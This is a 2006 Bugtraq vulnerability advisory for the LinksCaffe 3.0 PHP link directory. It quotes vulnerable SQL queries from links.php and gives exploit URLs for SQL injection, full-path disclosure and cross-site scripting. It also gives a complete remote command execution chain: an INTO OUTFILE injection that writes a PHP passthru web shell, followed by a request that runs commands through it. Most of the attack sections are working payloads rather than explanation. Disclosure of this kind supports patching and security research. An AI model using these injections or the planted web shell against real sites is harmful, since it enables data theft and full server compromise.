bugtraq - LinksCaffe 3.0 SQL injection/Command Execution Vulnerabilties

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Date: 25 Jul 2006 06:48:19 -0000
From: simo64@...il.com
To: bugtraq@...urityfocus.com
Subject: LinksCaffe 3.0 SQL injection/Command Execution Vulnerabilties

LinksCaffe 3.0 SQL injection/Command Execution Vulnerabilties

Produce       : LinksCaffe 3.0
Website       : http://gonafish.com/
Impact        : manupulation of data / system access
Discovered by : Simo64 - Moroccan Security Team

[+] SQL injection
******************

  [1]Vulnerable code in line 223 in links.php

	code : 

	$rime = mysql_query("SELECT * from links WHERE link_val like 'yes' AND cat_id LIKE '$cat' ORDER BY hits DESC, link_pop DESC, rate DESC LIMIT $offset, $limit") or die(mysql_error());

	$offset and $limit vars are not sanitized before to be used to conducte sql injection attacks

	Exploit : 

	http://localhost/linkscaffe/links.php?cat=1&offset=[SQL]
	http://localhost/linkscaffe/links.php?cat=1&limit=[SQL]
  
  [2]	Vulnerable code in line 516 in links.php
  
  code : 

	if (!$newdays)
	{
	$newdays=$daysnew;
	}
	else
	{
	$newdays=$newdays;
	}
	
	$rime1 = mysql_query("SELECT COUNT(*) from links WHERE (to_days(NOW()) - to_days(links.date)) <= $newdays AND link_val = 'yes'") or die(mysql_error());
			
	Exploit :
	http://localhost/linkscaffe/links.php?action=new&newdays=[SQL]
	
	
  [3]	Vulnerable code in line 516 in links.php
  
  code :
  
  if ($action=="deadlink")
	{
	........
	$rime = mysql_query("SELECT * from links WHERE link_id=$link_id") or die(mysql_error());
	while($row = mysql_fetch_array($rime)) {
	extract($row);
	echo "<li><font class=text10><a href='$link_url' target='_blank'>$link_name</a><br>$link_desc<br></font></li>";
	echo "<input type = 'hidden' name = 'link_id' value='$link_id'><input type = 'hidden' name = 'cat_id' value='$cat_id'><input type = 'hidden' name = 'link_name' value='$link_name'>
	<input type = 'hidden' name = 'link_url' value='$link_url'><input type = 'hidden' name = 'link_desc' value='$link_desc'><input type = 'hidden' name = 'link_email' value='$link_email'><br><input type = 'submit' value = 'Dead Link'>";
	}
	
	$link_id var are not sanitized before to be used to conducte sql injection attacks
	
	Exploit :
	
	http://localhost/linkscaffe/links.php?action=deadlink&link_id=[SQL]
	
[+] FullPath disclosure :

PoC : 

	http://localhost/linkscaffe/links.php?action=new&newdays=-1+UNION+SELECT+123456/*
	
	Result :
	
	Warning: Supplied argument is not a valid MySQL result resource in /usr/home/simo64/linkscaffe/links.php on line 540

	Warning: Supplied argument is not a valid MySQL result resource in /usr/home/simo64/linkscaffe/links.php on line 549

	Warning: Supplied argument is not a valid MySQL result resource in /usr/home/simo64/linkscaffe/links.php on line 554
	
[+] Remote Command Execution
*****************************
	
if magic_quote_gpc == OFF we can create a shell in writable folder using (3)!!

Exploit :
	
http://localhost/linkscaffe/links.php?action=deadlink&link_id=-1+UNION+SELECT+0,0,0,0,'<?passthru(\$_GET[\'cmd\']);?>',0,0,0,0,0,0,0,0,0,0%20INTO%20OUTFILE%20'/usr/home/simo64/linkscaffe/pipo.php'/*
	
after we can exec cmds
	
http://localhost/linkscaffe/pipo.php?cmd=ls;id



[+] Cross Site Scripting 
*************************

$tablewidth var in counter.php is not sanitized before to be used to conducte xss attacks
$newdays var in links.php is not sanitized before to be used to conducte xss attacks
$tableborder,$menucolor,$textcolor,$bodycolor vars in links.php are not sanitized before to be used to conducte xss attacks

PoC : 

http://localhost/linkscaffe/counter.php?tablewidth='%3E[XSS]<p+

http://localhost/linkscaffe/links.php?action=new&newdays=[XSS]

http://localhost/linkscaffe/menu.inc.php?tableborder='%3E[XSS]

http://localhost/linkscaffe/menu.inc.php?menucolor='%3E[XSS]

http://localhost/linkscaffe/menu.inc.php?textcolor='%3E[XSS]

http://localhost/linkscaffe/menu.inc.php?bodycolor='%3E[XSS]



Contact : simo64@...il.com

greetz to all friends !